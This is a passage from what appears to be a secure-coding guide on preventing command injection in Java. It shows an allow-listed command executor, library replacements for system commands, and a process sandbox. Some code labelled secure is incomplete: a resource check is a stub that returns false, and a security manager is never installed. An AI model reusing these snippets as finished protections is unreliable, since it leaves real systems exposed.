        "host", Pattern.compile("^[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?)*$"),
        "filepath", Pattern.compile("^[a-zA-Z0-9._/-]+$"),
        "filename", Pattern.compile("^[a-zA-Z0-9._-]+$")
    );
    
    // Safe directories for file operations
    private static final Set<String> ALLOWED_DIRECTORIES = Set.of(
        "/app/uploads",
        "/app/temp",
        "/app/output"
    );
    
    public ProcessResult executeCommand(AllowedCommand commandType, Map<String, String> userArgs) 
            throws IOException, SecurityException {
        // Validate all required arguments are provided
        validateRequiredArguments(commandType, userArgs);
        
        // Build and validate the complete command
        List<String> command = buildValidatedCommand(commandType, userArgs);
        
        // Execute with security constraints
        return executeWithConstraints(command);
    }
    
    private void validateRequiredArguments(AllowedCommand commandType, Map<String, String> userArgs) {
        List<String> required = commandType.getUserArgNames();
        
        for (String argName : required) {
            if (!userArgs.containsKey(argName) || userArgs.get(argName) == null) {
                throw new IllegalArgumentException("Missing required argument: " + argName);
            }
        }
        
        // Check for unexpected arguments
        for (String provided : userArgs.keySet()) {
            if (!required.contains(provided)) {
                throw new IllegalArgumentException("Unexpected argument: " + provided);
            }
        }
    }
    
    private List<String> buildValidatedCommand(AllowedCommand commandType, Map<String, String> userArgs) 
            throws SecurityException {
        List<String> command = new ArrayList<>();
        command.add(commandType.getExecutable());
        command.addAll(commandType.getFixedArgs());
        
        // Add validated user arguments in the correct order
        for (String argName : commandType.getUserArgNames()) {
            String argValue = userArgs.get(argName);
            validateArgument(argName, argValue);
            command.add(argValue);
        }
        
        return command;
    }
    
    private void validateArgument(String argName, String argValue) throws SecurityException {
        if (argValue == null || argValue.trim().isEmpty()) {
            throw new IllegalArgumentException("Argument cannot be null or empty: " + argName);
        }
        
        if (argValue.length() > 1000) {
            throw new IllegalArgumentException("Argument too long: " + argName);
        }
        
        // Check for dangerous characters
        if (argValue.contains("\n") || argValue.contains("\r") || argValue.contains("\0")) {
            throw new SecurityException("Argument contains invalid characters: " + argName);
        }
        
        // Type-specific validation
        if (argName.equals("host")) {
            validateHostname(argValue);
        } else if (argName.equals("filepath") || argName.equals("input") || argName.equals("output")) {
            validateFilePath(argValue);
        } else if (argName.equals("filename")) {
            validateFilename(argValue);
        }
    }
    
    private void validateHostname(String hostname) throws SecurityException {
        Pattern hostPattern = VALIDATION_PATTERNS.get("host");
        if (!hostPattern.matcher(hostname).matches()) {
            throw new SecurityException("Invalid hostname format: " + hostname);
        }
        
        if (hostname.length() > 253) {
            throw new SecurityException("Hostname too long: " + hostname);
        }
    }
    
    private void validateFilePath(String filepath) throws SecurityException {
        Pattern pathPattern = VALIDATION_PATTERNS.get("filepath");
        if (!pathPattern.matcher(filepath).matches()) {
            throw new SecurityException("Invalid filepath format: " + filepath);
        }
        
        // Prevent path traversal
        if (filepath.contains("..") || filepath.startsWith("/") && !isInAllowedDirectory(filepath)) {
            throw new SecurityException("Invalid or unsafe file path: " + filepath);
        }
        
        // For absolute paths, ensure they're in allowed directories
        if (filepath.startsWith("/")) {
            if (!isInAllowedDirectory(filepath)) {
                throw new SecurityException("File path not in allowed directory: " + filepath);
            }
        }
    }
    
    private void validateFilename(String filename) throws SecurityException {
        Pattern namePattern = VALIDATION_PATTERNS.get("filename");
        if (!namePattern.matcher(filename).matches()) {
            throw new SecurityException("Invalid filename format: " + filename);
        }
        
        if (filename.contains("..") || filename.startsWith(".")) {
            throw new SecurityException("Invalid filename: " + filename);
        }
    }
    
    private boolean isInAllowedDirectory(String filepath) {
        try {
            String canonicalPath = new File(filepath).getCanonicalPath();
            return ALLOWED_DIRECTORIES.stream()
                .anyMatch(allowedDir -> {
                    try {
                        String canonicalAllowedDir = new File(allowedDir).getCanonicalPath();
                        return canonicalPath.startsWith(canonicalAllowedDir);
                    } catch (IOException e) {
                        return false;
                    }
                });
        } catch (IOException e) {
            return false;
        }
    }
    
    private ProcessResult executeWithConstraints(List<String> command) throws IOException {
        ProcessBuilder pb = new ProcessBuilder(command);
        
        // Security environment
        Map<String, String> env = pb.environment();
        env.clear();
        env.put("PATH", "/usr/bin:/bin:/usr/local/bin");
        env.put("HOME", "/tmp");
        env.put("TMPDIR", "/tmp");
        
        // Safe working directory
        pb.directory(new File("/tmp"));
        pb.redirectErrorStream(true);
        
        Process process = pb.start();
        
        // Monitor execution with timeout and resource limits
        return monitorExecution(process, 30000); // 30 second timeout
    }
    
    private ProcessResult monitorExecution(Process process, long timeoutMs) throws IOException {
        long startTime = System.currentTimeMillis();
        StringBuilder output = new StringBuilder();
        
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            
            String line;
            while (process.isAlive() && (line = reader.readLine()) != null) {
                // Check timeout
                if (System.currentTimeMillis() - startTime > timeoutMs) {
                    process.destroyForcibly();
                    throw new RuntimeException("Command execution timeout");
                }
                
                output.append(line).append("\n");
                
                // Limit output size
                if (output.length() > 10 * 1024 * 1024) { // 10MB limit
                    process.destroyForcibly();
                    throw new RuntimeException("Command output too large");
                }
            }
        }
        
        try {
            int exitCode = process.waitFor();
            return new ProcessResult(exitCode, output.toString(), "");
        } catch (InterruptedException e) {
            process.destroyForcibly();
            Thread.currentThread().interrupt();
            throw new RuntimeException("Command execution interrupted", e);
        }
    }
}

// Safe usage examples
public class SecureCommandExamples {
    public static void demonstrateSecureUsage() {
        SecureCommandExecutor executor = new SecureCommandExecutor();
        
        try {
            // Safe ping execution
            Map<String, String> pingArgs = Map.of("host", "google.com");
            ProcessResult pingResult = executor.executeCommand(
                SecureCommandExecutor.AllowedCommand.PING, pingArgs
            );
            System.out.println("Ping result: " + pingResult.getOutput());
            
            // Safe file info
            Map<String, String> fileArgs = Map.of("filepath", "/app/uploads/document.pdf");
            ProcessResult fileResult = executor.executeCommand(
                SecureCommandExecutor.AllowedCommand.FILE_INFO, fileArgs
            );
            System.out.println("File info: " + fileResult.getOutput());
            
        } catch (Exception e) {
            System.err.println("Error executing command: " + e.getMessage());
        }
    }
}
3

Use Java Libraries Instead of External Commands

Whenever possible, use Java libraries and built-in functionality instead of executing external system commands. Java has extensive libraries for file operations, image processing, compression, networking, and data processing that eliminate the need for external command execution.

View implementation – JAVA
import java.io.*;
import java.nio.file.*;
import java.security.MessageDigest;
import java.util.zip.*;
import javax.imageio.*;
import java.awt.image.BufferedImage;
import java.net.*;
import java.util.*;

// SECURE: Using Java libraries instead of system commands
public class JavaLibraryAlternatives {
    
    // Instead of calling system 'cp' command
    public boolean copyFileSafe(String sourceFilename, String destFilename) throws IOException {
        // Validate inputs
        validateFilename(sourceFilename);
        validateFilename(destFilename);
        
        Path sourcePath = Paths.get("/app/uploads", sourceFilename).normalize();
        Path destPath = Paths.get("/app/backup", destFilename).normalize();
        
        // Security checks
        validatePathSecurity(sourcePath, "/app/uploads");
        validatePathSecurity(destPath.getParent(), "/app/backup");
        
        // Use Java NIO for file operations
        Files.copy(sourcePath, destPath, StandardCopyOption.REPLACE_EXISTING);
        
        return Files.exists(destPath);
    }
    
    // Instead of calling system 'file' command
    public FileInfo analyzeFileSafe(String filename) throws IOException {
        validateFilename(filename);
        
        Path filePath = Paths.get("/app/uploads", filename).normalize();
        validatePathSecurity(filePath, "/app/uploads");
        
        if (!Files.exists(filePath)) {
            throw new FileNotFoundException("File not found: " + filename);
        }
        
        // Use Java libraries for file analysis
        BasicFileAttributes attrs = Files.readAttributes(filePath, BasicFileAttributes.class);
        
        FileInfo info = new FileInfo();
        info.setFilename(filename);
        info.setSize(attrs.size());
        info.setCreated(attrs.creationTime().toString());
        info.setModified(attrs.lastModifiedTime().toString());
        info.setMimeType(Files.probeContentType(filePath));
        
        // File hash using Java security libraries
        info.setMd5Hash(calculateFileHash(filePath, "MD5"));
        info.setSha256Hash(calculateFileHash(filePath, "SHA-256"));
        
        return info;
    }
    
    // Instead of calling system image conversion tools
    public String convertImageSafe(String inputFilename, String outputFormat) throws IOException {
        validateFilename(inputFilename);
        validateImageFormat(outputFormat);
        
        Path inputPath = Paths.get("/app/uploads", inputFilename).normalize();
        validatePathSecurity(inputPath, "/app/uploads");
        
        String outputFilename = inputFilename.replaceAll("\\.[^.]+$", "." + outputFormat.toLowerCase());
        Path outputPath = Paths.get("/app/output", outputFilename).normalize();
        
        // Use Java ImageIO for image processing
        BufferedImage image = ImageIO.read(inputPath.toFile());
        if (image == null) {
            throw new IllegalArgumentException("Invalid or unsupported image format");
        }
        
        // Create output directory if it doesn't exist
        Files.createDirectories(outputPath.getParent());
        
        // Convert and save using Java libraries
        boolean success = ImageIO.write(image, outputFormat.toLowerCase(), outputPath.toFile());
        if (!success) {
            throw new RuntimeException("Image conversion failed");
        }
        
        return outputFilename;
    }
    
    // Instead of calling system compression tools
    public String compressFilesSafe(List<String> filenames, String archiveName) throws IOException {
        // Validate inputs
        for (String filename : filenames) {
            validateFilename(filename);
        }
        validateFilename(archiveName);
        
        String zipFilename = archiveName.endsWith(".zip") ? archiveName : archiveName + ".zip";
        Path zipPath = Paths.get("/app/output", zipFilename);
        
        // Create ZIP archive using Java libraries
        try (FileOutputStream fos = new FileOutputStream(zipPath.toFile());
             ZipOutputStream zos = new ZipOutputStream(fos)) {
            
            for (String filename : filenames) {
                Path filePath = Paths.get("/app/uploads", filename).normalize();
                validatePathSecurity(filePath, "/app/uploads");
                
                if (!Files.exists(filePath) || !Files.isRegularFile(filePath)) {
                    continue; // Skip non-existent or non-regular files
                }
                
                // Add file to ZIP
                ZipEntry entry = new ZipEntry(filename);
                zos.putNextEntry(entry);
                
                Files.copy(filePath, zos);
                zos.closeEntry();
            }
        }
        
        return zipFilename;
    }
    
    // Instead of calling system network tools
    public NetworkTestResult testNetworkConnectivitySafe(String hostname, int port) {
        validateHostname(hostname);
        validatePort(port);
        
        NetworkTestResult result = new NetworkTestResult();
        result.setHost(hostname);
        result.setPort(port);
        
        try {
            long startTime = System.currentTimeMillis();
            
            // Use Java networking instead of system commands
            try (Socket socket = new Socket()) {
                socket.connect(new InetSocketAddress(hostname, port), 5000); // 5 second timeout
                long endTime = System.currentTimeMillis();
                
                result.setConnected(true);
                result.setResponseTime(endTime - startTime);
                result.setMessage("Connection successful");
            }
        } catch (IOException e) {
            result.setConnected(false);
            result.setMessage("Connection failed: " + e.getMessage());
        }
        
        return result;
    }
    
    // Helper methods for validation
    private void validateFilename(String filename) {
        if (filename == null || filename.trim().isEmpty()) {
            throw new IllegalArgumentException("Filename cannot be null or empty");
        }
        
        if (filename.length() > 255) {
            throw new IllegalArgumentException("Filename too long");
        }
        
        if (!filename.matches("^[a-zA-Z0-9._-]+$")) {
            throw new IllegalArgumentException("Filename contains invalid characters");
        }
        
        if (filename.contains("..") || filename.startsWith(".")) {
            throw new IllegalArgumentException("Invalid filename format");
        }
    }
    
    private void validateImageFormat(String format) {
        Set<String> supportedFormats = Set.of("jpg", "jpeg", "png", "gif", "bmp", "wbmp");
        if (!supportedFormats.contains(format.toLowerCase())) {
            throw new IllegalArgumentException("Unsupported image format: " + format);
        }
    }
    
    private void validateHostname(String hostname) {
        if (hostname == null || hostname.trim().isEmpty()) {
            throw new IllegalArgumentException("Hostname cannot be null or empty");
        }
        
        if (!hostname.matches("^[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?)*$")) {
            throw new IllegalArgumentException("Invalid hostname format");
        }
        
        if (hostname.length() > 253) {
            throw new IllegalArgumentException("Hostname too long");
        }
    }
    
    private void validatePort(int port) {
        if (port < 1 || port > 65535) {
            throw new IllegalArgumentException("Port must be between 1 and 65535");
        }
        
        // Optionally restrict to common service ports
        Set<Integer> allowedPorts = Set.of(21, 22, 23, 25, 53, 80, 110, 143, 443, 993, 995);
        if (!allowedPorts.contains(port)) {
            throw new IllegalArgumentException("Port not in allowed list: " + port);
        }
    }
    
    private void validatePathSecurity(Path path, String allowedBase) throws IOException {
        Path basePath = Paths.get(allowedBase).toAbsolutePath().normalize();
        Path absolutePath = path.toAbsolutePath().normalize();
        
        if (!absolutePath.startsWith(basePath)) {
            throw new SecurityException("Path outside allowed directory: " + path);
        }
    }
    
    private String calculateFileHash(Path filePath, String algorithm) throws IOException {
        try {
            MessageDigest md = MessageDigest.getInstance(algorithm);
            byte[] buffer = new byte[8192];
            
            try (InputStream fis = Files.newInputStream(filePath)) {
                int bytesRead;
                while ((bytesRead = fis.read(buffer)) != -1) {
                    md.update(buffer, 0, bytesRead);
                }
            }
            
            byte[] hash = md.digest();
            StringBuilder sb = new StringBuilder();
            for (byte b : hash) {
                sb.append(String.format("%02x", b));
            }
            
            return sb.toString();
        } catch (Exception e) {
            throw new RuntimeException("Hash calculation failed", e);
        }
    }
}

// Data classes for results
class FileInfo {
    private String filename;
    private long size;
    private String created;
    private String modified;
    private String mimeType;
    private String md5Hash;
    private String sha256Hash;
    
    // Getters and setters
    public String getFilename() { return filename; }
    public void setFilename(String filename) { this.filename = filename; }
    
    public long getSize() { return size; }
    public void setSize(long size) { this.size = size; }
    
    public String getCreated() { return created; }
    public void setCreated(String created) { this.created = created; }
    
    public String getModified() { return modified; }
    public void setModified(String modified) { this.modified = modified; }
    
    public String getMimeType() { return mimeType; }
    public void setMimeType(String mimeType) { this.mimeType = mimeType; }
    
    public String getMd5Hash() { return md5Hash; }
    public void setMd5Hash(String md5Hash) { this.md5Hash = md5Hash; }
    
    public String getSha256Hash() { return sha256Hash; }
    public void setSha256Hash(String sha256Hash) { this.sha256Hash = sha256Hash; }
}

class NetworkTestResult {
    private String host;
    private int port;
    private boolean connected;
    private long responseTime;
    private String message;
    
    // Getters and setters
    public String getHost() { return host; }
    public void setHost(String host) { this.host = host; }
    
    public int getPort() { return port; }
    public void setPort(int port) { this.port = port; }
    
    public boolean isConnected() { return connected; }
    public void setConnected(boolean connected) { this.connected = connected; }
    
    public long getResponseTime() { return responseTime; }
    public void setResponseTime(long responseTime) { this.responseTime = responseTime; }
    
    public String getMessage() { return message; }
    public void setMessage(String message) { this.message = message; }
}
4

Implement Process Sandboxing and Resource Management

When external command execution is unavoidable, implement comprehensive process sandboxing with resource limits, timeout controls, and restricted execution environments. Use Java's SecurityManager, process isolation, and monitoring to minimize the impact of potential attacks.

View implementation – JAVA
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.concurrent.*;
import java.security.*;

// SECURE: Comprehensive process sandboxing and resource management
public class SandboxedProcessExecutor {
    private static final long DEFAULT_TIMEOUT_MS = 30000; // 30 seconds
    private static final long MAX_OUTPUT_SIZE = 10 * 1024 * 1024; // 10MB
    private static final int MAX_CONCURRENT_PROCESSES = 5;
    
    private final ExecutorService executorService;
    private final Semaphore processLimiter;
    private final SecurityManager securityManager;
    
    public SandboxedProcessExecutor() {
        this.executorService = Executors.newFixedThreadPool(MAX_CONCURRENT_PROCESSES);
        this.processLimiter = new Semaphore(MAX_CONCURRENT_PROCESSES);
        this.securityManager = createRestrictiveSecurityManager();
    }
    
    public CompletableFuture<SandboxedProcessResult> executeAsync(
            SandboxedCommand command) {
        return CompletableFuture.supplyAsync(() -> {
            try {
                processLimiter.acquire();
                return executeSandboxed(command);
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
                throw new RuntimeException("Process execution interrupted", e);
            } finally {
                processLimiter.release();
            }
        }, executorService);
    }
    
    private SandboxedProcessResult executeSandboxed(SandboxedCommand command) {
        // Create isolated execution environment
        Path sandboxDir = createSandboxDirectory();
        
        try {
            ProcessBuilder pb = createSandboxedProcessBuilder(command, sandboxDir);
            Process process = pb.start();
            
            return monitorSandboxedProcess(process, command.getTimeoutMs());
            
        } catch (Exception e) {
            return new SandboxedProcessResult(
                -1, "", e.getMessage(), false, 
                "Sandbox execution failed: " + e.getMessage()
            );
        } finally {
            cleanupSandboxDirectory(sandboxDir);
        }
    }
    
    private ProcessBuilder createSandboxedProcessBuilder(
            SandboxedCommand command, Path sandboxDir) throws IOException {
        
        ProcessBuilder pb = new ProcessBuilder(command.getCommandArgs());
        
        // Set restrictive working directory
        pb.directory(sandboxDir.toFile());
        
        // Create minimal, secure environment
        Map<String, String> env = pb.environment();
        env.clear();
        env.put("PATH", "/usr/bin:/bin");
        env.put("HOME", sandboxDir.toString());
        env.put("TMPDIR", sandboxDir.toString());
        env.put("USER", "sandbox");
        env.put("SHELL", "/bin/sh");
        
        // Redirect streams for monitoring
        pb.redirectErrorStream(true);
        
        return pb;
    }
    
    private SandboxedProcessResult monitorSandboxedProcess(
            Process process, long timeoutMs) {
        
        long startTime = System.currentTimeMillis();
        StringBuilder output = new StringBuilder();
        StringBuilder errors = new StringBuilder();
        
        // Resource monitoring thread
        CompletableFuture<Void> monitor = CompletableFuture.runAsync(() -> {
            try {
                while (process.isAlive()) {
                    // Check timeout
                    if (System.currentTimeMillis() - startTime > timeoutMs) {
                        process.destroyForcibly();
                        break;
                    }
                    
                    // Monitor system resources (memory, CPU)
                    if (isResourceLimitExceeded(process)) {
                        process.destroyForcibly();
                        break;
                    }
                    
                    Thread.sleep(100); // Check every 100ms
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
        });
        
        // Output reading with size limits
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
                
                // Check output size limit
                if (output.length() > MAX_OUTPUT_SIZE) {
                    process.destroyForcibly();
                    errors.append("Output size limit exceeded\n");
                    break;
                }
            }
        } catch (IOException e) {
            errors.append("Error reading process output: ").append(e.getMessage());
        }
        
        // Wait for process completion or timeout
        int exitCode = -1;
        boolean completed = false;
        String message = "Process completed successfully";
        
        try {
            exitCode = process.waitFor();
            completed = (exitCode == 0);
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            process.destroyForcibly();
            message = "Process execution interrupted";
        } finally {
            monitor.cancel(true);
        }
        
        // Check if process was terminated due to constraints
        if (!process.isAlive() && !completed) {
            if (System.currentTimeMillis() - startTime > timeoutMs) {
                message = "Process terminated due to timeout";
            } else {
                message = "Process terminated due to resource limits";
            }
        }
        
        return new SandboxedProcessResult(
            exitCode, output.toString(), errors.toString(), completed, message
        );
    }
    
    private boolean isResourceLimitExceeded(Process process) {
        try {
            // Check memory usage (simplified - in real implementation,
            // you'd use JNI or process monitoring tools)
            ProcessHandle handle = process.toHandle();
            Optional<ProcessHandle.Info> info = Optional.of(handle.info());
            
            // In a real implementation, you would check:
            // - Memory usage
            // - CPU usage
            // - Number of child processes
            // - File descriptors
            // - Network connections
            
            return false; // Placeholder
        } catch (Exception e) {
            return false;
        }
    }
    
    private Path createSandboxDirectory() {
        try {
            Path sandboxBase = Paths.get("/tmp/sandbox");
            Files.createDirectories(sandboxBase);
            
            String sandboxName = "sandbox_" + System.currentTimeMillis() + 
                                "_" + Thread.currentThread().getId();
            Path sandboxDir = sandboxBase.resolve(sandboxName);
            Files.createDirectories(sandboxDir);
            
            // Set restrictive permissions
            Set<PosixFilePermission> permissions = Set.of(
                PosixFilePermission.OWNER_READ,
                PosixFilePermission.OWNER_WRITE,
                PosixFilePermission.OWNER_EXECUTE
            );
            Files.setPosixFilePermissions(sandboxDir, permissions);
            
            return sandboxDir;
        } catch (Exception e) {
            throw new RuntimeException("Failed to create sandbox directory", e);
        }
    }
    
    private void cleanupSandboxDirectory(Path sandboxDir) {
        try {
            if (Files.exists(sandboxDir)) {
                // Recursively delete sandbox directory
                Files.walk(sandboxDir)
                    .sorted(Comparator.reverseOrder())
                    .map(Path::toFile)
                    .forEach(File::delete);
            }
        } catch (Exception e) {
            // Log cleanup failure but don't throw
            System.err.println("Failed to cleanup sandbox directory: " + e.getMessage());
        }
    }
    
    private SecurityManager createRestrictiveSecurityManager() {
        return new SecurityManager() {
            @Override
            public void checkPermission(Permission perm) {
                // Allow basic permissions needed for process execution
                if (perm instanceof RuntimePermission) {
                    String name = perm.getName();
                    if (name.equals("modifyThread") || 
                        name.equals("modifyThreadGroup")) {
                        return; // Allow thread operations
                    }
                }
                
                if (perm instanceof FilePermission) {
                    String path = perm.getName();
                    if (path.startsWith("/tmp/sandbox") ||
                        path.startsWith("/usr/bin") ||
                        path.startsWith("/bin")) {
                        return; // Allow access to sandbox and system binaries
                    }
                }
                
                // Deny all other permissions
                throw new SecurityException("Permission denied: " + perm);
            }
        };
    }
    
    public void shutdown() {
        executorService.shutdown();
        try {
            if (!executorService.awaitTermination(60, TimeUnit.SECONDS)) {
                executorService.shutdownNow();
            }
        } catch (InterruptedException e) {
            executorService.shutdownNow();
        }
    }
}

// Command wrapper for sandboxed execution
class SandboxedCommand {
    private final List<String> commandArgs;
    private final long timeoutMs;
    private final Map<String, String> environment;
    
    public SandboxedCommand(List<String> commandArgs) {
        this(commandArgs, 30000); // Default 30 second timeout
    }
    
    public SandboxedCommand(List<String> commandArgs, long timeoutMs) {
        this.commandArgs = new ArrayList<>(commandArgs);
        this.timeoutMs = timeoutMs;
        this.environment = new HashMap<>();
    }
    
    public List<String> getCommandArgs() {
        return new ArrayList<>(commandArgs);
    }
    
    public long getTimeoutMs() {
        return timeoutMs;
    }
    
    public Map<String, String> getEnvironment() {
        return new HashMap<>(environment);
    }
}

// Result wrapper for sandboxed execution
class SandboxedProcessResult {
    private final int exitCode;
    private final String output;
    private final String errors;
    private final boolean successful;
    private final String message;
    
    public SandboxedProcessResult(int exitCode, String output, String errors, 
                                 boolean successful, String message) {
        this.exitCode = exitCode;
        this.output = output;
        this.errors = errors;
        this.successful = successful;
        this.message = message;
    }
    
    // Getters
    public int getExitCode() { return exitCode; }
    public String getOutput() { return output; }
    public String getErrors() { return errors; }
    public boolean isSuccessful() { return successful; }
    public String getMessage() { return message; }
}

// Usage example
public class SandboxUsageExample {
    public static void main(String[] args) {
        SandboxedProcessExecutor executor = new SandboxedProcessExecutor();
        
        try {
            // Create a sandboxed command
            SandboxedCommand command = new SandboxedCommand(
                Arrays.asList("/bin/echo", "Hello, sandbox!")
            );
            
            // Execute asynchronously
            CompletableFuture<SandboxedProcessResult> future = 
                executor.executeAsync(command);
            
            // Get result with timeout
            SandboxedProcessResult result = future.get(60, TimeUnit.SECONDS);
            
            if (result.isSuccessful()) {
                System.out.println("Output: " + result.getOutput());
            } else {
                System.err.println("Error: " + result.getMessage());
            }
            
        } catch (Exception e) {
            System.err.println("Execution failed: " + e.getMessage());
        } finally {
            executor.shutdown();
        }
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies java processbuilder and runtime.exec() command injection and many other security issues in your codebase.